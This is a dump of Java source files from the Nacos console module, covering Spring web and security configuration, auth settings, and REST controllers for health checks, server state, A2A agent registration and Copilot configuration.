    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.config;\n\nimport com.alibaba.nacos.naming.selector.SelectorManager;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\n/**\n * Do some config and bean initialize when `functionMode` set. Such as `config` and `naming`.\n *\n * @author xiweng.yy\n */\n@Configuration\npublic class ConsoleFunctionEnabledConfig {\n    \n    /**\n     * If `functionMode` set as `config`,\n     * the naming module bean will not be loaded, but console api required {@link SelectorManager} to do selector parser.\n     *\n     * @return {@link SelectorManager} bean\n     */\n    @Bean\n    @ConditionalOnMissingBean\n    public SelectorManager selectorManager() {\n        return new SelectorManager();\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/config/ConsoleModuleStateBuilder.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.config;\n\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport com.alibaba.nacos.sys.module.AbstractConsoleModuleStateBuilder;\nimport com.alibaba.nacos.sys.module.ModuleState;\n\n/**\n * Console module state builder.\n *\n * @author xiweng.yy\n */\npublic class ConsoleModuleStateBuilder extends AbstractConsoleModuleStateBuilder {\n    \n    public static final String CONSOLE_MODULE = \"console\";\n    \n    private static final String CONSOLE_UI_ENABLED = \"console_ui_enabled\";\n    \n    @Override\n    public ModuleState build() {\n        ModuleState result = new ModuleState(CONSOLE_MODULE);\n        try {\n            boolean consoleUiEnabled = EnvUtil.getProperty(\"nacos.console.ui.enabled\", Boolean.class, true);\n            result.newState(CONSOLE_UI_ENABLED, consoleUiEnabled);\n        } catch (Exception ignored) {\n        }\n        return result;\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/config/ConsolePackageExcludeFilter.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.config;\n\nimport com.alibaba.nacos.console.NacosConsole;\nimport com.alibaba.nacos.sys.filter.NacosPackageExcludeFilter;\n\nimport java.util.Set;\n\n/**\n * Console module package exclude filter. Only Basic and Web contexts use NacosTypeExcludeFilter with\n * basePackages = \"com.alibaba.nacos\"; Console context uses default scan (console package only) and does not\n * apply this filter. So when this filter runs, it is always Basic/Web context and console package should be excluded.\n *\n * @author xiweng.yy\n */\npublic class ConsolePackageExcludeFilter implements NacosPackageExcludeFilter {\n    \n    @Override\n    public String getResponsiblePackagePrefix() {\n        return NacosConsole.class.getPackage().getName();\n    }\n    \n    @Override\n    public boolean isExcluded(String className, Set<String> annotationNames) {\n        return true;\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/config/ConsoleWebConfig.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.config;\n\nimport com.alibaba.nacos.auth.config.NacosAuthConfigHolder;\nimport com.alibaba.nacos.core.exception.NacosApiExceptionHandler;\nimport com.alibaba.nacos.console.filter.NacosConsoleAuthFilter;\nimport com.alibaba.nacos.console.filter.XssFilter;\nimport com.alibaba.nacos.core.code.ControllerMethodsCache;\nimport com.alibaba.nacos.core.paramcheck.ParamCheckerFilter;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;\nimport org.springframework.boot.autoconfigure.jackson.Jackson2ObjectMapperBuilderCustomizer;\nimport org.springframework.boot.web.servlet.FilterRegistrationBean;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.security.config.annotation.web.builders.HttpSecurity;\nimport org.springframework.security.config.annotation.web.configurers.AbstractHttpConfigurer;\nimport org.springframework.security.web.SecurityFilterChain;\nimport org.springframework.web.cors.CorsConfiguration;\nimport org.springframework.web.cors.UrlBasedCorsConfigurationSource;\nimport org.springframework.web.filter.CorsFilter;\n\nimport javax.annotation.PostConstruct;\nimport java.time.ZoneId;\n\n/**\n * Console config.\n *\n * @author yshen\n * @author nkorange\n * @since 1.2.0\n */\n@Configuration\npublic class ConsoleWebConfig {\n    \n    private final ControllerMethodsCache methodsCache;\n    \n    public ConsoleWebConfig(ControllerMethodsCache methodsCache) {\n        this.methodsCache = methodsCache;\n    }\n    \n    /**\n     * Init.\n     */\n    @PostConstruct\n    public void init() {\n        methodsCache.initClassMethod(\"com.alibaba.nacos.console.controller\");\n    }\n    \n    @Bean\n    public CorsFilter corsFilter() {\n        CorsConfiguration config = new CorsConfiguration();\n        ConsoleCorsConfig corsConfig = new ConsoleCorsConfig();\n        config.setAllowCredentials(corsConfig.isAllowCredentials());\n        if (corsConfig.getAllowedHeaders().isEmpty()) {\n            config.addAllowedHeader(\"*\");\n        } else {\n            config.setAllowedHeaders(corsConfig.getAllowedHeaders());\n        }\n        config.setMaxAge(corsConfig.getMaxAge());\n        if (corsConfig.getAllowedMethods().isEmpty()) {\n            config.addAllowedMethod(\"*\");\n        } else {\n            config.setAllowedMethods(corsConfig.getAllowedMethods());\n        }\n        if (corsConfig.getAllowedOrigins().isEmpty()) {\n            config.addAllowedOriginPattern(\"*\");\n        } else {\n            config.setAllowedOrigins(corsConfig.getAllowedOrigins());\n        }\n        UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();\n        source.registerCorsConfiguration(\"/**\", config);\n        return new CorsFilter(source);\n    }\n    \n    @Bean\n    public XssFilter xssFilter() {\n        return new XssFilter();\n    }\n    \n    @Bean\n    public FilterRegistrationBean<NacosConsoleAuthFilter> authFilterRegistration(NacosConsoleAuthFilter authFilter) {\n        FilterRegistrationBean<NacosConsoleAuthFilter> registration = new FilterRegistrationBean<>();\n        registration.setFilter(authFilter);\n        registration.addUrlPatterns(\"/*\");\n        registration.setName(\"consoleAuthFilter\");\n        registration.setOrder(6);\n        return registration;\n    }\n    \n    @Bean\n    public NacosConsoleAuthFilter consoleAuthFilter(ControllerMethodsCache methodsCache) {\n        return new NacosConsoleAuthFilter(NacosAuthConfigHolder.getInstance()\n                .getNacosAuthConfigByScope(NacosConsoleAuthConfig.NACOS_CONSOLE_AUTH_SCOPE), methodsCache);\n    }\n    \n    @Bean\n    public FilterRegistrationBean<ParamCheckerFilter> consoleParamCheckerFilterRegistration(\n            ParamCheckerFilter consoleParamCheckerFilter) {\n        FilterRegistrationBean<ParamCheckerFilter> registration = new FilterRegistrationBean<>();\n        registration.setFilter(consoleParamCheckerFilter);\n        registration.addUrlPatterns(\"/*\");\n        registration.setName(\"consoleParamCheckerFilter\");\n        registration.setOrder(8);\n        return registration;\n    }\n    \n    @Bean\n    public ParamCheckerFilter consoleParamCheckerFilter(ControllerMethodsCache methodsCache) {\n        return new ParamCheckerFilter(methodsCache);\n    }\n    \n    @Bean\n    public Jackson2ObjectMapperBuilderCustomizer jacksonObjectMapperCustomization() {\n        return jacksonObjectMapperBuilder -> jacksonObjectMapperBuilder.timeZone(ZoneId.systemDefault().toString());\n    }\n    \n    @Bean\n    @ConditionalOnMissingBean\n    public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {\n        http.authorizeHttpRequests((authorizeHttpRequests) -> authorizeHttpRequests.requestMatchers(\"/**\").permitAll());\n        http.csrf(AbstractHttpConfigurer::disable);\n        return http.build();\n    }\n    \n    @Bean\n    public NacosApiExceptionHandler nacosApiExceptionHandler() {\n        return new NacosApiExceptionHandler();\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/config/NacosConsoleAuthConfig.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.config;\n\nimport com.alibaba.nacos.auth.config.NacosAuthConfig;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.core.config.AbstractDynamicConfig;\nimport com.alibaba.nacos.plugin.auth.constant.ApiType;\nimport com.alibaba.nacos.plugin.auth.constant.Constants;\nimport com.alibaba.nacos.sys.env.EnvUtil;\n\n/**\n * Nacos console auth configurations.\n *\n * @author xiweng.yy\n */\npublic class NacosConsoleAuthConfig extends AbstractDynamicConfig implements NacosAuthConfig {\n    \n    public static final String NACOS_CONSOLE_AUTH_SCOPE = ApiType.CONSOLE_API.name();\n    \n    /**\n     * Whether console auth enabled.\n     */\n    private boolean authEnabled;\n    \n    /**\n     * Which auth system is in use.\n     */\n    private String nacosAuthSystemType;\n    \n    private String serverIdentityKey;\n    \n    private String serverIdentityValue;\n    \n    public NacosConsoleAuthConfig() {\n        super(\"NacosConsoleAuth\");\n        resetConfig();\n    }\n    \n    @Override\n    public String getAuthScope() {\n        return NACOS_CONSOLE_AUTH_SCOPE;\n    }\n    \n    @Override\n    public boolean isAuthEnabled() {\n        return authEnabled;\n    }\n    \n    @Override\n    public String getNacosAuthSystemType() {\n        return nacosAuthSystemType;\n    }\n    \n    @Override\n    public boolean isSupportServerIdentity() {\n        return StringUtils.isNotBlank(serverIdentityKey) && StringUtils.isNotBlank(serverIdentityValue);\n    }\n    \n    @Override\n    public String getServerIdentityKey() {\n        return serverIdentityKey;\n    }\n    \n    @Override\n    public String getServerIdentityValue() {\n        return serverIdentityValue;\n    }\n    \n    @Override\n    protected void getConfigFromEnv() {\n        authEnabled = EnvUtil.getProperty(Constants.Auth.NACOS_CORE_AUTH_CONSOLE_ENABLED, Boolean.class, true);\n        nacosAuthSystemType = EnvUtil.getProperty(Constants.Auth.NACOS_CORE_AUTH_SYSTEM_TYPE, \"\");\n        serverIdentityKey = EnvUtil.getProperty(Constants.Auth.NACOS_CORE_AUTH_SERVER_IDENTITY_KEY, \"\");\n        serverIdentityValue = EnvUtil.getProperty(Constants.Auth.NACOS_CORE_AUTH_SERVER_IDENTITY_VALUE, \"\");\n    }\n    \n    @Override\n    protected String printConfig() {\n        return toString();\n    }\n    \n    @Override\n    public String toString() {\n        return \"NacosConsoleAuthConfig{\" + \"authEnabled=\" + authEnabled + \", nacosAuthSystemType='\"\n                + nacosAuthSystemType + '\\'' + '}';\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/config/NacosConsoleBeanPostProcessorConfiguration.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.config;\n\nimport com.alibaba.nacos.console.handler.impl.inner.EnabledInnerHandler;\nimport com.alibaba.nacos.sys.env.Constants;\nimport com.alibaba.nacos.sys.env.NacosDuplicateConfigurationBeanPostProcessor;\nimport com.alibaba.nacos.sys.env.NacosDuplicateSpringBeanPostProcessor;\nimport org.springframework.beans.factory.config.InstantiationAwareBeanPostProcessor;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;\nimport org.springframework.context.ConfigurableApplicationContext;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\n/**\n * Bean Post Processor Configuration for nacos console.\n *\n * @author xiweng.yy\n */\n@Configuration\n@ConditionalOnProperty(value = Constants.NACOS_DUPLICATE_BEAN_ENHANCEMENT_ENABLED, havingValue = \"true\", matchIfMissing = true)\n@EnabledInnerHandler\npublic class NacosConsoleBeanPostProcessorConfiguration {\n    \n    @Bean\n    public InstantiationAwareBeanPostProcessor nacosDuplicateSpringBeanPostProcessor(\n            ConfigurableApplicationContext context) {\n        return new NacosDuplicateSpringBeanPostProcessor(context);\n    }\n    \n    @Bean\n    public InstantiationAwareBeanPostProcessor nacosDuplicateConfigurationBeanPostProcessor(\n            ConfigurableApplicationContext context) {\n        return new NacosDuplicateConfigurationBeanPostProcessor(context);\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/controller/v3/ConsoleHealthController.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.console.controller.v3;\n\nimport com.alibaba.nacos.api.annotation.NacosApi;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.console.paramcheck.ConsoleDefaultHttpParamExtractor;\nimport com.alibaba.nacos.console.proxy.HealthProxy;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * Controller class for handling health check operations.\n *\n * @author zhangyukun on:2024/8/27\n */\n@NacosApi\n@RestController()\n@RequestMapping(\"/v3/console/health\")\n@ExtractorManager.Extractor(httpExtractor = ConsoleDefaultHttpParamExtractor.class)\npublic class ConsoleHealthController {\n    \n    private final HealthProxy healthProxy;\n    \n    public ConsoleHealthController(HealthProxy healthProxy) {\n        this.healthProxy = healthProxy;\n    }\n    \n    /**\n     * Whether the Nacos is in broken states or not, and cannot recover except by being restarted.\n     *\n     * @return HTTP code equal to 200 indicates that Nacos is in right states. HTTP code equal to 500 indicates that\n     * Nacos is in broken states.\n     */\n    @GetMapping(\"/liveness\")\n    public Result<String> liveness() {\n        return Result.success(\"ok\");\n    }\n    \n    /**\n     * Ready to receive the request or not.\n     *\n     * @return HTTP code equal to 200 indicates that Nacos is ready. HTTP code equal to 500 indicates that Nacos is not\n     * ready.\n     */\n    @GetMapping(\"/readiness\")\n    public ResponseEntity<Result<String>> readiness() throws NacosException {\n        Result<String> ret = healthProxy.checkReadiness();\n        if (ret.getCode() == 0) {\n            return ResponseEntity.ok().body(ret);\n        } else {\n            return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body(ret);\n        }\n    }\n    \n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/controller/v3/ConsoleServerStateController.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.console.controller.v3;\n\nimport com.alibaba.nacos.api.annotation.NacosApi;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.api.model.v2.SupportedLanguage;\nimport com.alibaba.nacos.console.paramcheck.ConsoleDefaultHttpParamExtractor;\nimport com.alibaba.nacos.console.proxy.ServerStateProxy;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport java.util.Map;\n\n/**\n * Controller for managing server state-related operations.\n *\n * @author zhangyukun on:2024/8/27\n */\n@NacosApi\n@RestController\n@RequestMapping(\"/v3/console/server\")\n@ExtractorManager.Extractor(httpExtractor = ConsoleDefaultHttpParamExtractor.class)\npublic class ConsoleServerStateController {\n    \n    private final ServerStateProxy serverStateProxy;\n    \n    public ConsoleServerStateController(ServerStateProxy serverStateProxy) {\n        this.serverStateProxy = serverStateProxy;\n    }\n    \n    /**\n     * Get server state of current server.\n     *\n     * @return state json.\n     */\n    @GetMapping(\"/state\")\n    public ResponseEntity<Map<String, String>> serverState() throws NacosException {\n        Map<String, String> serverState = serverStateProxy.getServerState();\n        return ResponseEntity.ok().body(serverState);\n    }\n    \n    /**\n     * Get the announcement content based on the specified language.\n     *\n     * @param language Language for the announcement (default: \"zh-CN\")\n     * @return Announcement content as a string wrapped in a Result object\n     */\n    @GetMapping(\"/announcement\")\n    public Result<String> getAnnouncement(\n            @RequestParam(required = false, name = \"language\", defaultValue = \"zh-CN\") String language) {\n        // Validate the language parameter\n        if (!SupportedLanguage.isSupported(language)) {\n            return Result.failure(\"Unsupported language: \" + language);\n        }\n        String announcement = serverStateProxy.getAnnouncement(language);\n        return Result.success(announcement);\n    }\n    \n    /**\n     * Get the console UI guide information.\n     *\n     * @return Console UI guide information as a string wrapped in a Result object\n     */\n    @GetMapping(\"/guide\")\n    public Result<String> getConsoleUiGuide() {\n        String guideInformation = serverStateProxy.getConsoleUiGuide();\n        return Result.success(guideInformation);\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/controller/v3/ai/ConsoleA2aController.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.controller.v3.ai;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentCardForm;\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentCardUpdateForm;\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentForm;\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentListForm;\nimport com.alibaba.nacos.ai.param.AgentHttpParamExtractor;\nimport com.alibaba.nacos.ai.utils.AgentRequestUtil;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCard;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardDetailInfo;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardVersionInfo;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentVersionDetail;\nimport com.alibaba.nacos.api.annotation.NacosApi;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.console.proxy.ai.A2aProxy;\nimport com.alibaba.nacos.core.model.form.PageForm;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.ApiType;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport org.springframework.web.bind.annotation.DeleteMapping;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.PutMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport java.util.List;\n\n/**\n * Console A2a Controller.\n *\n * @author KiteSoar\n */\n@NacosApi\n@RestController\n@RequestMapping(Constants.A2A.CONSOLE_PATH)\n@ExtractorManager.Extractor(httpExtractor = AgentHttpParamExtractor.class)\npublic class ConsoleA2aController {\n    \n    private final A2aProxy a2aProxy;\n    \n    public ConsoleA2aController(A2aProxy a2aProxy) {\n        this.a2aProxy = a2aProxy;\n    }\n    \n    /**\n     * register agent.\n     *\n     * @param form the agent card form to register\n     * @return result of the registration operation\n     * @throws NacosException if the agent registration fails due to invalid input or internal error\n     */\n    @PostMapping\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    public Result<String> registerAgent(AgentCardForm form) throws NacosException {\n        form.validate();\n        AgentCard agentCard = AgentRequestUtil.parseAgentCard(form);\n        a2aProxy.registerAgent(agentCard, form);\n        return Result.success(\"ok\");\n    }\n    \n    /**\n     * get agent card.\n     *\n     * @param form the agent form to get\n     * @return result of the get operation\n     * @throws NacosApiException if the agent get fails due to invalid input or internal error\n     */\n    @GetMapping\n    @Secured(action = ActionTypes.READ, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    public Result<AgentCardDetailInfo> getAgentCard(AgentForm form) throws NacosException {\n        form.validate();\n        return Result.success(a2aProxy.getAgentCard(form));\n    }\n    \n    /**\n     * update agent.\n     *\n     * @param form the agent update form to update\n     * @return result of the update operation\n     * @throws NacosException if the agent update fails due to invalid input or internal error\n     */\n    @PutMapping\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    public Result<String> updateAgentCard(AgentCardUpdateForm form) throws NacosException {\n        form.validate();\n        AgentCard agentCard = AgentRequestUtil.parseAgentCard(form);\n        a2aProxy.updateAgentCard(agentCard, form);\n        return Result.success(\"ok\");\n    }\n    \n    /**\n     * delete agent.\n     *\n     * @param form the agent form to delete\n     * @return result of the deletion operation\n     * @throws NacosException if the agent deletion fails due to invalid input or internal error\n     */\n    @DeleteMapping\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    public Result<String> deleteAgent(AgentForm form) throws NacosException {\n        form.validate();\n        a2aProxy.deleteAgent(form);\n        return Result.success(\"ok\");\n    }\n    \n    /**\n     * list agents.\n     *\n     * @param agentListForm the agent list form to list\n     * @param pageForm the page form to list\n     * @return result of the list operation\n     * @throws NacosException if the agent list fails due to invalid input or internal error\n     */\n    @GetMapping(\"/list\")\n    @Secured(action = ActionTypes.READ, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    public Result<Page<AgentCardVersionInfo>> listAgents(AgentListForm agentListForm, PageForm pageForm)\n            throws NacosException {\n        agentListForm.validate();\n        pageForm.validate();\n        return Result.success(a2aProxy.listAgents(agentListForm, pageForm));\n    }\n    \n    /**\n     * List all versions for target Agent.\n     *\n     * @param agentForm agent form\n     * @return all version for target agent.\n     * @throws NacosException nacos exception\n     */\n    @GetMapping(\"/version/list\")\n    @Secured(action = ActionTypes.READ, signType = SignType.AI, apiType = ApiType.ADMIN_API)\n    public Result<List<AgentVersionDetail>> listAgentVersions(AgentForm agentForm) throws NacosException {\n        agentForm.validate();\n        return Result.success(a2aProxy.listAgentVersions(agentForm.getNamespaceId(), agentForm.getAgentName()));\n    }\n}\n\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/controller/v3/ai/ConsoleCopilotConfigController.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.controller.v3.ai;\n\nimport com.alibaba.nacos.api.annotation.NacosApi;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.copilot.config.CopilotAgentManager;\nimport com.alibaba.nacos.copilot.config.CopilotConfigStorage;\nimport com.alibaba.nacos.copilot.config.CopilotProperties;\nimport com.alibaba.nacos.copilot.constant.CopilotConstants;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.ApiType;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestBody;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * Console Copilot configuration controller.\n *\n * @author nacos\n */\n@NacosApi\n@RestController\n@RequestMapping(CopilotConstants.COPILOT_CONSOLE_PATH + \"/config\")\npublic class ConsoleCopilotConfigController {\n    \n    private final CopilotConfigStorage configStorage;\n    private final CopilotAgentManager agentManager;\n    \n    @Autowired\n    public ConsoleCopilotConfigController(CopilotConfigStorage configStorage,\n                                         CopilotAgentManager agentManager) {\n        this.configStorage = configStorage;\n        this.agentManager = agentManager;\n    }\n    \n    /**\n     * Get current Copilot configuration.\n     * Only returns apiKey, model, studioUrl and studioProject fields.\n     *\n     * @return Simplified CopilotProperties with only apiKey, model, studioUrl and studioProject\n     */\n    @GetMapping\n    @Secured(action = ActionTypes.READ, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    public Result<CopilotProperties> getConfig() throws NacosException {\n        CopilotProperties config = configStorage.getConfig();\n        if (config == null) {\n            // Return default empty config if not configured\n            config = new CopilotProperties();\n        }\n        \n        // Create simplified config with only apiKey, model, studioUrl and studioProject\n        CopilotProperties simplifiedConfig = new CopilotProperties();\n        simplifiedConfig.setApiKey(config.getApiKey());\n        simplifiedConfig.setModel(config.getModel());\n        simplifiedConfig.setStudioUrl(config.getStudioUrl());\n        simplifiedConfig.setStudioProject(config.getStudioProject());\n        \n        return Result.success(simplifiedConfig);\n    }\n    \n    /**\n     * Create or update Copilot configuration.\n     * Only accepts apiKey, model, studioUrl and studioProject fields, other fields use defaults.\n     *\n     * @param config Simplified CopilotProperties with only apiKey, model, studioUrl and studioProject\n     * @return success result\n     */\n    @PostMapping\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    public Result<Boolean> saveConfig(@RequestBody CopilotProperties config) throws NacosException {\n        if (config == null) {\n            throw new NacosException(NacosException.INVALID_PARAM, \"Configuration cannot be null\");\n        }\n        \n        // Get existing config to preserve other fields, or create new one with defaults\n        CopilotProperties existingConfig = configStorage.getConfig();\n        CopilotProperties fullConfig;\n        \n        if (existingConfig != null) {\n            // Use existing config and only update apiKey, model, studioUrl and studioProject\n            fullConfig = existingConfig;\n        } else {\n            // Create new config with default values\n            fullConfig = new CopilotProperties();\n        }\n        \n        // Update only apiKey, model, studioUrl and studioProject\n        if (config.getApiKey() != null) {\n            fullConfig.setApiKey(config.getApiKey());\n        }\n        if (config.getModel() != null) {\n            fullConfig.setModel(config.getModel());\n        }\n        if (config.getStudioUrl() != null) {\n            fullConfig.setStudioUrl(config.getStudioUrl());\n        }\n        if (config.getStudioProject() != null) {\n            fullConfig.setStudioProject(config.getStudioProject());\n        }\n        \n        boolean success = configStorage.saveConfig(fullConfig);\n        \n        if (success) {\n            // Refresh configuration after config update\n            agentManager.refreshConfig();\n        }\n        \n        return Result.success(success);\n    }\n}\n"
  },
